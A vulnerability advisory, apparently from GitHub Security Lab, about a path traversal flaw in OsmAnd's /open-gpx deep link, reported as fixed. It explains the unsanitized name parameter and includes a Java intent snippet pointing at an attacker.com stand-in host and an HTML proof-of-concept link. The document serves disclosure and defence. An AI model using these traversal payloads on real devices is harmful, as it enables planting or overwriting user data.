Coordinated Disclosure Timeline
- 2026-04-14: Sent reports via email to support@osmand.net
- 2026-06-28: Maintainer confirmed all vulnerabilities fixed.
Summary
OsmAnd version OsmAnd_5.3.2 is vulnerable to a path traversal issue (GHSL-2026-106) via the /open-gpx deep link, allowing a remote attacker to retrieve arbitrary URLs from the device’s network context and write attacker-controlled .gpx files to arbitrary locations within OsmAnd’s scoped storage directory.
Project
OsmAnd
Tested Version
3043c92b27b24a0b2c848bc7041cf5f69ede4ed6
Details
Path traversal and arbitrary URL download via the /open-gpx deep link (GHSL-2026-106)
OsmAnd registers an intent filter for https://osmand.net/open-gpx?url=<URL>&name=<NAME> deep links in its AndroidManifest.xml. When this deep link is opened, MapActivity dispatches the intent to IntentHelper.parseOpenGpxIntent():
Path Traversal in name Parameter (CWE-22)
The name query parameter is used as the output filename without sanitization:
String name = data.getQueryParameter("name");
if (Algorithms.isEmpty(name)) {
name = Algorithms.getFileWithoutDirs(url); // Only sanitized in this fallback
}
if (!name.endsWith(IndexConstants.GPX_FILE_EXT)) {
name += IndexConstants.GPX_FILE_EXT;
}
String fileName = name;
AndroidNetworkUtils.downloadFileAsync(url, app.getAppPath(IndexConstants.GPX_IMPORT_DIR + fileName), ...);
Note that Algorithms.getFileWithoutDirs() (which strips directory separators) is only called when name is empty — when the attacker supplies a name parameter, it is used directly. The destination path resolves to:
new File(externalStorageDirectory, "tracks/import/" + name)
A name value of ../../poc_escaped.gpx resolves to externalStorageDirectory/poc_escaped.gpx, escaping the intended tracks/import/ directory. The attacker can write .gpx files to any location within OsmAnd’s scoped external storage directory, including:
favorites/— user’s saved locations (Home, Work, frequently visited places)routing/— routing configuration filesrendering/— rendering/style filestracks/— user’s GPX recordings
The file must end with .gpx (enforced at line 607–608), but this is not a meaningful restriction since OsmAnd stores favorites, itineraries, and track data all as .gpx files.
Remote Triggerability
The intent filter at AndroidManifest.xml declares android.intent.category.BROWSABLE, making the deep link openable from a web browser. On Play-Store-signed builds, osmand.net passes Android App Link verification (the assetlinks.json lists both net.osmand and net.osmand.plus), so on Android 12+ the link is dispatched silently to OsmAnd with no user prompt beyond the initial tap.
A malicious app on the same device can also trigger this without any browser interaction:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://osmand.net/open-gpx?url=http://attacker.com/payload&name=../../favorites/favorites-personal.gpx"));
startActivity(intent);
Impact
- Arbitrary file write within OsmAnd’s storage: Attacker-controlled content is written to unintended locations in OsmAnd’s scoped external storage directory (
/sdcard/Android/data/net.osmand/files/). On Android 11+, scoped storage confines writes to OsmAnd’s own directory. However, the attacker can write to any subdirectory within it, includingfavorites/,tracks/,routing/, andrendering/.
Practical impact limitations:
OsmAnd’s internal architecture limits the real-world exploitability of the path traversal for overwriting existing data:
- Favorites (
favorites/*.gpx): OsmAnd maintains an internal backup atapp.getFileStreamPath("favourites_bak.gpx"). On startup,FavouritesHelper.loadFavorites()loads the internal backup first, then merges external groups. The merge logic only copies appearance for existing points — coordinates are preserved from the internal backup. This prevents overwriting existing Home/Work locations. However, new favorites can be injected via the additive merge (writing to a new group file likefavorites-Hacked.gpx), and on a fresh install (no internal backup yet), the external file is the sole source of truth. - Map markers (
itinerary.gpx): No internal backup exists, butsyncAllGroups()runs during app initialization and re-saves from in-memory state, creating a race condition that the async download typically loses. - Tracks: Writing new track files into
tracks/is possible, but they only appear in the track listing — not on the map — unless the user explicitly selects them.CWEs
- CWE-22: “Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)”
Proof of Concept
<a href="https://osmand.net/open-gpx?url=http%3A%2F%2F127.0.0.1%3A18000%2Ffavorites.gpx&name=..%2F..%2Ffavorites%2Ffavorites-personal.gpx">link text</a>
The following HTML can be added to an attacker page. When clicked, OsmAnd downloads the hosted favorites-personal.gpx, whose entries will be added to My Places.
CVE
- CVE-2026-65996
Credit
This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-106 in any communication regarding this issue.